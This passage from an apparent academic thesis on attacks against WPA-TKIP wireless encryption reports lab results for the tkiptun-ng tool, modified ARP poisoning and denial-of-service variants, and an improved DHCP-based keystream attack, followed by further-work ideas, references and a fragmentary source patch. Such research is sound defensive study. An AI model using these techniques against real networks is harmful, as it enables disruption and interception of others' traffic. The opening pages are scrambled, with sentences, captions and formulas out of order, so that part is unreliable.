de-authentication of the STA. Figure 7. the program has to initialize before it can start the actual attack.1) Where 12 is the number of bytes to chop. 128 is the average number of guesses per byte. in a low traffic environment the MIC failures might have been detected more easily. our experimentation was closer to a real-world scenario with this presence of other wireless networks. Thus the average time to complete without initialization or missed MIC failure reports is: 12 × 128 + 11 × 60 ≈ 13 minutes and 34 seconds. the program waits for ten seconds after . Additionally. This could have influenced our results. 10 (7. This includes interface setup. 10 represents ten guesses per second. The implementation defaults to a speed of guessing ten bytes per second. On the other hand. Beck and Tews claim that their attack takes “little more than 12 minutes” [32] to complete.1: A successful completion of the original tkiptun-ng attack In addition to this. Our experience is that this is an understatement. 11 is the number of times to wait between bytes and 60 is the MIC failure interval in seconds.90 Results be noted that the experimentation was executed in an environment with large amounts of wireless traffic. capturing the WPA handshake and most importantly capturing the ARP packet from the AP.

the cache has two entries. The time could be reduced by increasing the number of packets guessed per second.10. 7.1 shows a complete run of the tkiptun-ng tool.2 shows the ARP cache of the targeted STA before the attack. as can be seen this took almost 20 minutes to complete because several MIC failure report frames were missed. and the attacker has to start the entire attack from the beginning. The time for this process to complete varies from around 20 seconds to a minute or longer. depending on the initialization time and the number of missed MIC failure report frames. Every time this happens the program has to wait an additional minute if our improvement is implemented. we were able to modify the tkiptun-ng tool such that it was able to mount an ARP poisoning attack.2 ARP Poisoning Attack As described in Section 6. but still well within the common re-keying interval of one hour.1.168.168.2: The STAs ARP Cache before poisoning attack .3.1) and one for another STA on the wireless network (192. The theory behind this attack was detailed in Section 2. This section describes the results of the experimentation with this modification. As can be seen. Figure 7.1. This is a bit more than claimed in the paper by Beck and Tews.ARP Poisoning Attack 91 capturing the ARP packet to let EAPOL messages pass by uninterrupted. As explained earlier. but this will come at a risk of missing MIC failure report frames which introduce a 60 second time penalty. one for the AP (192. The result of this is that the time for the attack to complete in a realworld scenario varies from about 15 to 20 minutes. Figure 7. Figure 7. If this improvement is not implemented the MIC countermeasures will be activated. The corresponding MAC addresses for both IPs are correct in this figure.100). we also experienced that MIC failure reports were quite often missed.

7. as the STA being attacked will refresh its cache after some time. Nonetheless. to corrupt the ARP cache again.3: The STAs ARP Cache after poisoning attack The effects of this attack are not very severe. we described how we were able to modify the tkiptun-ng code in order to function as a cryptographic DoS attack. and thus prolonging the DoS effect. It is still possible to send additional fake ARP packets on other QoS channels. we had two computers connected to the . The goal of the attack was to activate the MIC countermeasures and thus force the AP to shut down and re-key.3.3 A Cryptographic Denial-of-Service Attack In Section 6. This attack vector has not been tested. the operation of the network has been disrupted. The result of this is that all IP traffic destined to the router will be sent to the other STA. As soon as the AP was operational again. As the figure shows. The IP address of the router was now mapped to the MAC address contained in the fake ARP packet sent by the modified tkiptun-ng. the MIC countermeasures would again be re-activated by the attacker. resulting in Denial-of-Service. For this experiment. Figure 7. This is because it will notice that its traffic is not receiving any replies. as victims need to inspect the ARP cache in order to detect the modification. thus other types of attacks can be carried out. the ARP cache was modified as can be seen in Figure 7.4.92 Results After the ARP poisoning attack had been carried out. No popup messages or other visual notifications through the GUI are given to the client. This section will describe the results from the DoS attack. This type of attack is also very hard to detect. both IP addresses in the cache now point to the same MAC address. It might also be possible to direct the traffic to a computer in which the attacker has control of.

8 seconds. the attack waits 10 seconds for EAPOL messages to pass2 . it will be difficult for clients to do anything useful in that short amount of time. and consequently inform the user that the MIC countermeasures had been activated. With this cryptographic attack.6 This was part of the original attack. followed by on average 12. we observed that the other computer connected to network was disconnected as well. Although the network will be online for 22 seconds between the attacks.5. the victim computer would get a message. and thus immediately be able to re-initiate a chopchop attack eventually resulting in a new round with MIC countermeasures. As observed on Mac OS X 10. as illustrated in Figure 7. Upon initiating the attack. thus making it easier for the victim to deduce the cause of the denial-of-service.4: The client is informed of the MIC countermeasures To confirm that the AP had shut down.4. the AP would be online for: 10 + 128 = 22. Compared to other types of DoS attacks. Upon restarting the AP. the attacker would already be in “capture mode”. Figure 7. 10 (7. This notification1 makes the victim aware of the attack. the attacker only need to activate the MIC countermeasures in the AP.2) First. On average.A Cryptographic Denial-of-Service Attack 93 AP while the third was the attacker. and the AP itself will shut down and deny any client access for the next 60 seconds.8 seconds to guess the correct byte during the chopchop. a de-authentication flood attack would need to continuously send packets to every client in order to keep them off the network. For instance. 2 1 . this cryptographic DoS attack is very effective and will damage a whole network with very little effort. and could possible be removed to shorten the wait time.

but the resulting keystream obtained is more than tenfold that of the original attack. this means that the tool is specifically written to target the AP used during our experiments: Linksys WRT54GL. this must be done after the Transaction ID has been revealed.94 Results 7. The source code for this implementation is included in Appendix A. This includes the 12 bytes of the original attack. and both the plaintext and keystream are saved. Our improved attack is still limited to AP to STA communication.3. It is likely that this implementation could work against some other APs. MIC and ICV. This introduces some additional time in the initialization phase of the attack. This is because the code only relies on how DHCP ACK messages are formatted by the AP or an external DHCP server. The attack worked flawlessly against our laboratory setup. both from Linksys and other vendors. The duration of the improved attack is somewhat longer than the original tkiptun-ng. which is based on the entire plaintext of the packet. the MIC key is reversed from the chopped MIC. During our experimentation. The proof-of-concept implementation needs to chop a total of 16 bytes. The theory behind this attack was detailed in Chapter 4.4 Verification of the Improved Attack This section will present the results from experimenting with our improved attack. This feature in not implemented in the proof-of-concept code. and therefore the program needs to be restarted in case of such an event. This means that the attacker gets hold of 596 bytes of keystream. as described in Section 7. The figure also shows the computation of the UDP checksum. The tested implementation was a proof-of-concept. The attack was able to successfully obtain the keystream for the entire DHCP ACK packet as well as the MIC key. which can be used to inject traffic back into the network on available QoS channels. Figure 7. given that it is vulnerable to the original tkiptun-ng attack. Additional deauthentications would thus be needed in order initiate a DHCP message exchange. As can be seen.4. The screenshot shows both simulated chopping and actual chopping of the DHCP Transaction ID. Thus.5 shows parts of the output from a successful attack. It is also trivial to modify the attack to work against APs with different DHCP ACK messages. we observed that a DHCP message exchange was not always performed after a de-authentication. In addition to this the attacker needs to chop the four-byte DHCP Transaction ID. These four bytes add approximately 5 minutes to the attack .

128 is the average number of guesses per byte.Verification of the Improved Attack 95 time.3) 10 Where 16 is the number of bytes to chop. takes negligible time to compute. Thus. 15 is the number of times to wait between bytes and 60 is the MIC failure interval in seconds. introduced in our improved attack. 10 represents ten guesses per second. showing a DHCP ACK being successfully decrypted The simulated chopchop. Figure 7.5: Screenshot from the modified attack. (7. the real-world time for the improved attack is in the . The average time to complete this attack without missed MIC failure reports and initialization will then be: 16 × 128 + 15 × 60 ≈ 18 minutes and 25 seconds.

5. or if they are formatted in such a way that tkiptun-ng could not detect them. and thus appropriate to employ as the main laboratory environment. As explained in Chapter 5. it will recover 596 bytes of keystream compared to 48 bytes in the original attack.96 Results range of 20 to 25 minutes. This would add about 70 seconds to the total attack time for each unknown byte. The attack did not work against this setup. running on a Dell Latitude D610 laptop. As can be seen in Figure 7. This is an increase of obtained keystream by 12. with neither the built-in Intel WLAN adapter nor an USB adapter based on the RT73 chipset. so the result is . We are not sure if this is due to the Windows XP computer not sending such reports. When executing the attack. Thus. Hence. experiments with other systems were conducted as well. Even if this improved attack needs more time to complete. we ended up using a MacBook laptop as the STA being attacked. 7. 7.6. the IP addresses of the gateway and STA needs to be known in advance of the attack. This section will give an overview of results on these different configurations. it was unable to detect if the chopped byte was guessed correctly.1 The Original Tkiptun-ng Attack The original implementation of tkiptun-ng was tested on several different setups.10 and using a RT73 based USB adapter. in only approximately 20% longer time. the total time of the attack will be closer to 40 minutes.5. for instance the DNS server IP address. It is also possible to mount the attack if additional bytes are unknown. This means that the original tkiptun-ng needs to be run in beforehand. if this information cannot be determined otherwise. a Linksys WRT54GL as AP and a Linux computer as the attacker. The USB adapter was under complete control of the virtual machine. The attack was successfully executed against a Linux computer running Ubuntu 8. this particular run took about 23 minutes and 30 seconds. Although the previous statement is true. The experimentation with different configurations provided a good background for which systems that would be usable for further experimentation. The Linux machine was running in a virtual machine using VMWare on Mac OS X. The attack was also tested against a Windows XP STA. depending mainly on the number of MIC failure reports missed.42 times.5 Results With Different Configurations As described in Section 6. the attacker was unable to detect MIC Failure reports from the STA. in addition to the systems described in Chapter 5.

The attack was also performed on a D-Link DIR655 AP. 7. we reverted to the original Linksys firmware to keep our experimentation in a more realistic scenario. The Linksys WRT54GL proved to be the one with the highest success rate. It might be possible to mount the attack against OpenWRT based APs. The MacBook Pro was installed with an AirPort Extreme (0x168C.Results With Different Configurations valid for a non-virtualized setup as well. The result of this was that even normal operation of the AP would often come to a halt. while the MacBook had an AirPort Extreme (0x14E4. . MIC Failures were often not detected). which we believe was due to a combination of hardware and software issues.2 Access Points During our experimentation we also tested the attack with a few different Access Points. even without being attacked. But it was very unstable (i. By using a RT73 based USB adapter on the MacBook Pro we were able to detect some MIC Failure Reports. We believe this is due to different WLAN adapters on the two Macs. 0x87) adapter. A few different versions of OpenWRT were installed.5. but it will probably require extensive reconfiguration and possibly source code modification. and thus the attack worked. 0x88). which we believe is due to driver issues. as all system software on the MacBook and MacBook Pro were identical. Hostapd was also vulnerable to the attack. as the attack worked against this AP with both the MacBook and Ubuntu as the victim. but with this setup we were only able to successfully perform the attack against the Ubuntu computer. The adapters were identified as Atheros 5424 and Broadcom 43xx respectively. The Linksys WRT54GL supports installing non-original firmware.e. The setup was very unstable though. and we were able to successfully complete our improved attack against this AP with the MacBook as STA. By further inspection it was revealed that the MacBook Pro had a WLAN adapter from Atheros. Because of this we decided that it was unreasonable to continue experimenting with Hostapd as AP. but the attack failed. 97 We also tried to mount the attack against a MacBook Pro. and therefore the open-source firmware OpenWRT was installed. while the MacBook had an adapter from Broadcom. but the attack proved unsuccessful. Because of this.

10 did not even give a warning about an IP conflict when receiving these fake ARP. we were only able to inject traffic on three channels (1. To be able to perform this attack. the best results were obtained with the MacBook. On our setup with the MacBook laptop as the victim.5.4 Forcing DHCP Renewal As described in Section 4. Injection could not be tested against the Windows XP computer. On the other systems tested this is not possible. On both Windows XP and Ubuntu the Transaction ID is chosen seemingly at random for each DHCP transaction. But as described in Section 2. but Windows XP did not initiate a DHCP renewal on its own. 7. As can be seen from the table.9. We believe this is because Mac OS X only implements the four channels described in the WiFi alliance’s QoS implementation WMM. which was the reason for choosing this setup as our main . When using Ubuntu Linux as the victim computer.98 Results 7. one of the application areas for our improved attack is to spoof the DNS server by sending a fake DHCP ACK message to the STA.5.3. thus preventing this particular attack. On Mac OS X this is possible by sending four fake Gratuitous ARPs with the same IP as the STA.3 Injection on Different QoS Channels A vital part of the attack is to be able to inject traffic on a different QoS channel than the original packet was captured on.1 gives a brief summary of the experimentation presented in this Section. and thus the Transaction ID can then be predicted from the previously decrypted DHCP packet. the number of such channels differ between implementations. 4 and 6). we were able to inject on all 15 remaining channels (1-15) as specified by the IEEE 802. Ubuntu Linux 8.1. as the chopping part of the attack did not work.11 2007 standard. Windows XP did give a warning about an IP conflict already after the first fake ARP was received.5 Predictability of DHCP Transaction IDs Another prerequisite for the fake DHCP ACK attack is that the Transaction ID in the DHCP packets is known.5. 7.5. On Mac OS X this is not a problem as the Transaction ID increases monotonically for each DHCP transaction. 7.6 Summary of Experimentation With Other Systems Table 7. an attacker must be able to trigger a DHCP renewal process on the STA.

6 Windows XP Windows XP WLAN Adapter Broadcom RT73 Atheros RT73 Intel RT73 Tkiptun-ng YES YES NO YES (unstable) NO NO No.5.10 Mac OS X 10. System Mac OS X 10.6 Ubuntu Linux 8.1: Summary of experimentation with different systems .5. of QoS channels 4 16 Not Tested Not Tested Not Tested Not Tested Force DHCP Renew YES NO YES YES NO (warning message) NO (warning message) DHCP XID Predictable Random Predictable Predictable Random Random Table 7.Results With Different Configurations 99 laboratory environment.6 Mac OS X 10. The Ubuntu Linux setup also showed some good results.5.

100 Results .

8. as proven in Section 6. 8.1.4. the original attack by Beck and Tews [10] is limited to injection of ARP-sized packets to STAs only. Additionally. Also the fact that the attacker is bound to inject packets in one direction only.1 Application Areas In Section 3.1 The Original Attack As we have seen throughout this thesis. we will present both positive and negative lessons that we have learned during our research. We start by discussing the application areas of both the original and the improved attack. Looking at the injection of packets alone. the application areas are very limited.3. when we modified the original code into an ARP poisoning attack. Finally.Chapter 8 Discussion This chapter will discuss the results and discoveries made throughout this thesis. Then. he would also have the 101 .3. This was proven in Section 6. This attack will however only work temporary. This section will continue the discussion and speculate in future application areas for these attacks. makes it even harder to do any harm on the network. It would be possible inject fake ARP packets into the network to cause confusion internally on the network. If the attacker was in possession of keystream for both directions. we presented possible application areas for the original attack on TKIP and the improved attack respectively.4 and 4. we will discuss how well these attacks are applicable in a real world environment. we were able to modify their code into a cryptographic DoS attack as well. since the network entities will automatically discover the error in the ARP cache and reconfigure properly.

which will be further discussed in Section 9. it would be possible to perform a fragmentation attack that could reveal 1500 bytes of keystream. In that case.1. a series of new application areas would arise.5. as it requires decryption of packets in both directions.6. a modified chopchop attack directed to the AP remains impossible. with keystreams for both directions. Even though this improved attack reveals more keystream. Being able to inject packets to a STA could also be used to trigger un-patched vulnerabilities in the operating system like for instance remote exploits. This remains the greatest limitation of both attacks. a DNS Response Spoofing attack would then be possible to perform. 8. Even with keystream for one direction only. However. This would open up for an endless series of attacks and exploits. forcing the AP to combine smaller fragments into one large segment. it does not change the nature of this attack. It is reasonable to assume that these attacks on TKIP will lead to more innovative and novel application areas that can prove once again that TKIP is broken and should be avoided. this is a significant improvement.4. namely a DHCP ACK DNS attack and a NAT traversal attack. and consequently the keystream and MIC key for that direction will remain unknown. the attacker will still be limited to injection of packets in one direction. this approach is discussed as further work in Section 2. Additionally. the attacker could have initiated a fragmentation attack against the AP.102 Discussion MIC key for both directions. It might even be possible to exploit the web-interface of the AP with regular HTTP requests and thus be able to reveal the pairwise master key. In Section 4. If it would be possible to get keystream for both directions. This allows the attacker to inject a much wider range of packets and thus perform more sophisticated attacks. since the AP does not respond with MIC failure reports. which in turn could be decrypted since the attacker now would know the plaintext. For instance. we believe that this is just a starting point for similar attacks and exploits.3. . As with the original attack.2 The Improved Attack Our improved attack on TKIP reveals 596 bytes of keystream. we presented two theoretically possible attacks. Compared to 48 bytes of keystream from the original attack. For that reason. Exploits against the control protocols such as DHCP and ARP are not the only possible attacks that could be mounted.

It is therefore reasonable to ask whether or not this is practical in a real world environment where the majority of computers run Windows. support. the AP often turn on a hybrid setting between TKIP and AES.htm 1 . This means that if the client computer is not capable of AES. It turns out that most new access points with support for 802. In Section 7. when selecting “WPA Personal” or “WPA PSK”. On newer APs. Most newer APs by D-Link show this behavior. the only more secure alternative to WEP is TKIP. Even though this might be theoretically possible. which is required for the attack to succeed. We were never able to perform the attack against a PC running Windows XP. and we believe that the attack will develop over time and become more compatible with a wider range of systems and configurations. the attack seems possible. QoS must be enabled in addition to a key renewal interval larger than the time of the attack. Thus.com/emulators/dir615_revB/login. in order to mount the attack.11n come with QoS/WMM enabled by default1 .11e QoS is disabled. Beck and Tews [10] states that even if IEEE 802. However. for instance this model: http://www. As described in Section 3. the impact of the attack relies on the extent of which these requirements are met in the real world. which in fact. it seems near to impossible to mount in a real world scenario where there are many unknown factors in play. Most of these newer APs also support QoS. On many older APs. TKIP will be selected. which is more than long enough for both attacks to succeed. our experience indicate that most AP defaults the key renewal interval to one hour.5. and might work in a lab environment.1. Our experiments show that the success rate of the attack is far from stable and varies with different systems.2 Real World Applicability One may wonder how practical these attacks on TKIP are in the real world.dlink. we presented our success rate with different configurations of APs and STAs. often is enabled by default. the current version of the tkiptun-ng tool is still very experimental. They suggest that the attacker can prevent STAs from receiving the chopped packet by disconnecting the STA during the attack and thus prevent an increase in the TSC. Additionally.Real World Applicability 103 8. many of these APs lack the support of QoS. However.

This progress in knowledge also demonstrates the fact that our work procedure is close to an iterative method. we did not spend too much time researching this opportunity. changing the drivers at the AP and STA would also make the attacks less realistic. Although we definitely have learned a lot. One person will then observer and provide feedback.3.1 Negative Experiences The duration of the attack was arguably the most frustrating part of the experimentation. Additionally. It is much easier to give constructive feedback.2 Positive Experiences All over. 8. . This long runtime made the code very difficult to debug. However.3. we have also encountered some obstacles along the way. It could take over 20 minutes from the code was compiled. The runtime could be significantly reduced if the MIC failure interval could be adjusted.104 Discussion 8. Working analytical and experimental. to the results upon running the program were apparent. we have learned a lot about both their networking and security protocols. Generally.3 Lessons Learned Working with a complex protocol such as TKIP has been both an intriguing and hard experience. We did some experimentation with this. this will provide higher quality to the written code. working with this thesis has been a positive experience. but since our best results were achieved when the victim was using the MacBook laptop. 8. and working together two people have been both assuring and supportive. Compared to our initial knowledge about wireless networks. Due to the TKIP countermeasures. second opinions and creative suggestions when collaborating. the attack lasted much longer than a regular Chopchop attack. It is always easy to look back at the end on things we could have done differently. So-called pair programming has also proven to be quite effective when developing software. this requires a re-write and re-compile of both the AP and the STA drivers. while the other person writes the code.

To make the attack more generic.1 Further Improvement of the Attack The main result in this thesis is the improved attack on TKIP. This could for instance be used in coordination with the database to try to pin down the exact format of the DHCP ACK. Such a combined tool would 105 . A combination of the original tkiptun-ng tool and the improved attack could be built. It is a simple task to detect the manufacturer based on the first bytes of the MAC address of the AP.4.Chapter 9 Further Work This chapter will present and discuss some suggestions for further work. and it is the authors’ opinion that more research in this field will have a high probability of unveiling new weaknesses of the protocol. as explained in Section 1. The tool would then first reveal the IP addresses of the STA and AP. It could also be possible to detect the model if a certain model is limited to a certain MAC address range. and is limited to the DHCP ACK format of the AP used in the laboratory environment (Linksys WRT54GL). 9. It should also be a straightforward task to implement more logic in the code. Cryptanalysis of TKIP is a relatively new field of study. a database of DHCP ACK formats mapped to manufacturers could be created. This improvement exploits the fact that DHCP ACKs contain large amounts of known bytes. The implementation presented is a proof-of-concept. which are required information for the improved attack. These tasks have been left as further work due to time constraints or other limitations of this research. The result is that more than ten times the keystream can be acquired than with the original attack.

Complete automation of the tool is probably not desired. and for this reason a very unrealistic scenario. However. This means that if a chopchop attack were mounted against the STA-to-AP keystream. Given that the MIC key was identical for both directions. more keystream could easily be unveiled by sending requests with known replies. the keystream for both directions could easily be obtained. as the attack is still best suited for advanced users. 9. Beck and Tews suggest that it would be possible to mount such an attack if the EAPOL handshake used the same random nonces for every re-keying [32]. the attacker would have no way of knowing when a correct guess was made. This type of known reply attack could then be repeated indefinitely. As pointed out in Section 4.3 DHCP DNS Spoofing In Section 4. Actually. is that only STAs send MIC Failure report frames.1. This could be achieved by sending a packet with a known reply to the STA. which can be used to spoof the DNS setting of a client by simply performing one-way injections towards the client. During the experimental phase. If keystream for both directions could be obtained.3. including the calculated MIC and ICV. giving the attacker an unlimited number of useable keystreams. 9. we described an DHCP DNS Attack. for instance an ICMP Ping.2 Obtaining Two-way keystream Both the original tkiptun-ng and our improved attack are limited to AP-toSTA communication. as well as the wireless channel of the network. In addition to this. this attack requires that the attacker is able to predict the DHCP Transaction ID.1. resulting in keystream for STA-to-AP communication. more attacks could be mounted. we were never able to implement this as a patch to tkiptun-ng. This implies that both the Supplicant (STA) and Authenticator (AP) have a flawed implementation of TKIP. or that the attacker somehow was in possession of both keys. and the only input needed would then be the MAC addresses of the AP and STA. The answer could then be XORed with the known reply. we verified on an open wireless network that this indeed was possible with injection of five packets only.3.106 Further Work make the tool fully automated. The reason why the attack is limited to AP-to-STA keystream. even this information is not needed as the tool could be set to scan for vulnerable networks and start the attack completely automatically. During our experimentation we . due to time constraints for this research.

The attacker will also be able to decrypt the traffic of all other STAs on the network. the only way to obtain the pre-shared key on a TKIP or CCMP secured wireless network. this was explained in Section 2. If the attacker could get hold of keystream and MIC key for both directions.4 Fragmentation Attack The fragmentation attack is a powerful attack against WEP.5. Transaction IDs on Mac OS X. If an attacker gets hold of two keystreams for different TSCs. and allow the attacker to communicate as a legitimate STA on the network.5 Key Recovery Attack The ultimate attack on wireless networks is a key recovery attack.8. It should be further investigated if the Transaction IDs on Windows XP and Ubuntu Linux are truly random.e. These fragments should be sent on the same QoS channel. These results were presented in Section 7. Due to time constraints this could not be tested experimentally. Experimentation with other versions of both Windows and Linux should be conducted. the attacker would be able to send a packet twice the size of one keystream. Recent advances in GPU technology . The attacker could send fragmented packets with known replies. he would be able to mount an attack similar to the fragmentation attack on WEP. A similar approach could work against TKIP as well. and send the fragments on different QoS channels.6. Thus. such attacks are successful against weak passwords by using a dictionary attack. incremental. The attacker would then be able to acquire 1500 bytes (maximum transmission unit) of keystream for both directions. Such an attack will reveal the pre-shared key. by performing two consecutive tkiptun-ng attacks. although this is less likely to work. and thus obtain longer keystream for each consecutive injection. It might also be possible to fragment across QoS channels. This attack was described in Section 2. so this section will present some ideas and theories for further work on fragmentation. Then an attacker would only need to obtain one keystream. is to mount a brute force or dictionary attack on the EAPOL handshake. as well as with other operating systems. or if it is possible to predict the next value given the previous one. 9.5. 9.5. it should be possible for the attacker to send a packet in two fragments. As described in that section. Currently. one with each keystream. i.Fragmentation Attack 107 only observed predictable.

the attacker is in possession of 64 bits of the 512-bit PTK. This has made it possible to successfully attack even relatively strong keys in viable time. as is illustrated in Figure 9. The attacker is now in possession of both some of the input and parts the output of the transient key computation algorithm (PRF-512).108 Further Work PMK Nonce 1 Nonce 2 MAC 1 MAC 2 PRF-512 PTK EAPOLMICKey 128 bits EAPOLEncr Key 128 bits Temporal Key 128 bits AP-to-STA MIC Key 64 bits STA-to-AP MIC Key 64 bits Known values Unknown values Figure 9. The original tkiptun-ng attack and our improved attack do not target the pre-shared key (PSK). This key is a part of the Pairwise Transient Key (PTK) derived from the pre-shared key in the EAPOL handshake. However. The possibilities for this should definitely be investigated further. It might be possible to reduce the time needed for an attack on the PMK if this known MIC key could in some way be included in the attack algorithm. The statistical relationship between these should also be explored. the attacker would be in possession of additional MIC keys for a given handshake.1. Thus. This would require cryptanalysis of the underlying PRF-512. . By repeating the attack.1: An illustration of the known and unknown values of the Temporal Key Computation after the attack on TKIP has been performed have also made it possible to utilize the immense computational power of such chips. the attacks do obtain the MIC key for AP-to-STA communication. which utilizes the hash function SHA-1.

even with a strong password. The attack is still. Additionally. but now it is TKIP 109 . we explained a theoretically possible attack that will spoof the DNS server IP address of a client. a key renewal interval must be longer than the time the attack needs to finish. In our research. we have looked into the attack presented by Beck and Tews. and opens up for new application areas for the attack. An attacker could make a client communicate with a malicious DNS server rather than the desired one. Now. Beck and Tews [10] presented a breach in TKIP’s security. Though not yet implemented. TKIP was developed to fix the insecurity of WEP. i. and as a consequence. There are several requirements for the attack to work. WEP was the only wireless protocol with exploitable weaknesses. In November 2008. Additionally. we created an improved attack on TKIP that enables an attacker to decrypt a much larger DHCP ACK message. we experienced some varied success rate with different system configurations.Chapter 10 Conclusion Up until now. and thus easily perform a phishing attack. it still was the first practical attack on TKIP. very experimental. TKIP could no longer be considered perfectly secure. and the attack should. as of May 2009. QoS/WMM must be enabled at the AP in order for the attack to succeed. as a consequence be considered a real threat. Although their attack was limited in its application areas. These setting occur commonly in the real world. This message is over 12 times the size of an ARP packet. TKIP and CCMP were considered cryptographically strong. which allowed an attacker to decrypt small ARP packets.e. We were able to modify their code to function as an ARP poisoning attack and a cryptographic DoS attack. the only known weakness would be the use of weak or guessable passwords.

it also inherits some of its weaknesses. as TKIP was built around WEP. when developing a security protocol. We begin to see driver updates fixing this issue. Nevertheless.110 Conclusion that needs to be fixed. To simply fix another’s weakness is a naive approach. we believe it is time to move on and start migrating to CCMP. which has patched its client stack to counter this attack. the protocol that was designed bottom-up to be secure. As proven over and over again. like for instance OpenBSD. . Instead of fixing TKIP. security should be kept in mind from the very beginning.

Telecommunications and information exchange between systems. Extensible Authentication Protocol (EAP). 2006. IEEE Std 802.Telecommunications and information exchange between systems. Vollbrecht. ISO/IEC 880211:2005/Amd. [4] Information technology. and Henrik Levkowetz. 12 2007. [5] IEEE Standard for Information technology-Telecommunications and information exchange between systems-Local and metropolitan area networks-Specific requirements . James Carlson. http://aircrack-ng. 2009.11g-2003 (Amendment to IEEE Std 802.1X-2004. Nov 1997. 1999 Edition (R2003).Local and metropolitan area networks. [2] Information technology. IEEE Std 802. [7] Aircrack-ng.Part 11: Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) specifications Amendment 4: Further Higher Data Rate Extension in the 2. 111 . Last accessed April 30.References [1] IEEE Std 802.11-1999).org/. 2003.Local and metropolitan area networks.11-1999).Part 11: Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specifications. John R.11-1997 Information Technology. [3] Port Based Network Access Control. ANSI/IEEE Std 802.Specific requirements. Aircrack-ng homepage. Blunk. 2004.Specific requirements.4 GHz Band.telecommunications And Information exchange Between Systems-Local And Metropolitan Area Networks-specific Requirements-part 11: Wireless Lan Medium Access Control (MAC) And Physical Layer (PHY) Specifications.11-1997. June 2004.11-2007 (Revision of IEEE Std 802. [6] Bernard Aboba.11.4:2006(E) IEEE Std 802.Part 11: Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specifications. IEEE Std 802. Internet RFC 3748. Larry J.

Boston. 2009. 2002. 1989.11mb Issues List v12. Last accessed May 11. Attacks on the RC4 stream cipher. 802.venona. [16] Edney and William A.11 Security: Wi-Fi Protected Access and 802.11/file/08/ 11-08-1127-12-000m-tgmb-issues-list. [10] Martin Beck and Erik Tews. Glass and V. Last accessed February 09. E.org/web/20080120083537/ http://cypherpunks. mentor. 2006. 2003. Cryptology ePrint Archive. Droms. Inc. iacr. [13] D.org. pages 1–24. [12] Rafik Chaabouni. Computing as a discipline. Break WEP Faster with Statistical Analysis. . RFC 2131: Dynamic Host Configuration Protocol. The Final Nail in WEP’s Coffin.112 [8] Wi-Fi Alliance. cypherpunks. 2009.org/802. A Study of the TKIP Cryptographic DoS Attack. A. ACM.. Last accessed May 11. Allen Tucker.1145/63238.org/10. Mulder. Commun. 32(1):9–23.org/.com/date/1994/09/msg00304. [17] Scott Fluhrer. 1997.venona. Addison-Wesley Longman Publishing Co.. Thank you Bob Anderson / RC4 Source code. MA. 1 edition.com. [15] R. http://web. 0:386–400. Report 2008/472. Security and Privacy. June 2006. 2008. 2009. Nov. Real 802. Comer. [11] Andrea Bittau. IEEE Symposium on.html.archive. Michael C. Proceedings of the 4th Annual Workshop on Selected Areas of Cryptography.ieee. [19] IEEE. and Adi Shamir. http://eprint. https://mentor. Muthukkumarasamy. Joe Turner. Weaknesses in the key scheduling algorithm. References [9] Anonymous. 2001. [14] Joan Daemen and Vincent Rijmen.acm. Young. [20] Andreas Klein. 2009. http://doi. Arbaugh. 2007. [18] S.ieee. Mark Handley. and Joshua Lackey. USA. In RC4”.63239. 2006. pages 59–65. Itsik Mantin. The Design of Rijndael: AES The Advanced Encryption Standard (Information Security and Cryptography).xls. Last accessed February 12. and Paul R.11i. David Gries. Springer. 2009. Practical attacks against WEP and WPA.

Last accessed May 11. Prentice Hall. Englewood Cliffs. [22] KoreK.informatik. In WiSec ’09: Proceedings of the second ACM conference on Wireless network security. NY. 7(2):319–332.netstumbler. RFC 826: Ethernet Address Resolution Protocol: Or converting network protocol addresses to 48. Computers and Security.php?p=93942&postcount=35. Tanenbaum. USA. A key recovery attack on the 802. RFC 4949 (Informational). August 2007. W. A framework for the governance of information security. 2002. http://eprint. Last accessed February 20..pdf. [32] Erik Tews and Martin Beck. http://www.iacr. 2007. C.11b wired equivalent privacy protocol (WEP). RFC 4861 (Draft Standard). [23] Ilya Mironov. 2009. Prentice-Hall. Syst. Computer networks / Andrew S. 2009. Last accessed March 4. 2004. Rubin. E. netstumbler. http://www. Status: STANDARD. and Aviel D. :. 2004. [24] T.de/reports/reports/Erik_ Tews. New York. [26] Shaun Posthumus and Rossouw von Solms. chopchop (Experimental WEP attacks). Cryptography and Network Security: Principles and Practices. http: //www. [25] D. Neighbor Discovery for IP version 6 (IPv6). .org/f50/chopchop-experimental-wepattacks-12489/. [28] William Stallings. Last accessed May 11. ACM. Inf. [31] Erik Tews. (Not So) Random Shuffles of RC4. and H.txt.org/. Report 2002/067. Tanenbaum.ietf. 2009.References 113 [21] KoreK. Shirey.org/showpost. [29] Adam Stubblefield. Simpson. Cryptology ePrint Archive. John Ioannidis.cdc. Last accessed February 20. 23(8):638 – 646. 1989. Version 2. November 1982. Secur. 2009. Attacks on the WEP protocol.bit Ethernet address for transmission on Ethernet hardware. N. 4th edition. 2009.org/rfc/rfc4949. Narten. Nordmark. Plummer. Internet Security Glossary.J. ACM Trans. 2009. Practical attacks against wep and wpa. 2004. pages 79–86. 2004.diplom. [30] Andrew S. September 2007. [27] R. Next generation of WEP attacks?. 2006.tu-darmstadt. edition. Soliman. http://www. 2nd ed.

[35] Ross N. Last accessed March 31. A Painless Guide To CRC Error Detection Algorithms. Apr 2007. and Andrei Pyshkin. 2009.net/content/downloads/pdf/arp_spoofing_ intro. Cryptology ePrint Archive.114 References [33] Erik Tews. [36] Wireshark.wireshark. 2009. Williams.html. Report 2007/120. Ralf-Philipp Weinmann. 2001. An Introduction to Arp Spoofing. 2009. 8 1993.net/crc/crcpaper. http://www.org/. http://www.pdf. Wireshark: About.. [34] S. .rootsecure. Last accessed May 11. Breaking 104 bit WEP in less than 60 seconds. Whalen. Last accessed May 11.ross. http: //www.

c file: patch -u -i <PATCH FILE> tkiptun-ng.000000000 +0200 +++ tkiptun-ng-dos-attack-1503.c source code from revision 1503 found at http://trac.000000000 +0200 @@ -2625.tkiptun-ng-original.1 Denial-of-Service Attack --. Appendix B contains an attached CD-ROM with the entire source code for each individual modification to the attack.8 @@ if( send_packet( h80211.c <PATCH FILE> A.aircrack-ng.Appendix A Source Code The source code provided in these appendices shows only the differences from the original tkiptun-ng. data_end -1 ) != 0 ) return( 1 ). The following command will patch the tkiptun-ng.c file: patch -R tkiptun-ng.7 +2777.7 @@ } 115 .c To revert back to the original tkiptun-ng.6 +2625. + + if( errno != EAGAIN ) { @@ -2775. if( send_packet( h80211.c 2009-04-14 12:47:46. data_end -1 ) != 0 ) return( 1 ).c 2009-04-14 12:37:59.org/svn/trunk/.

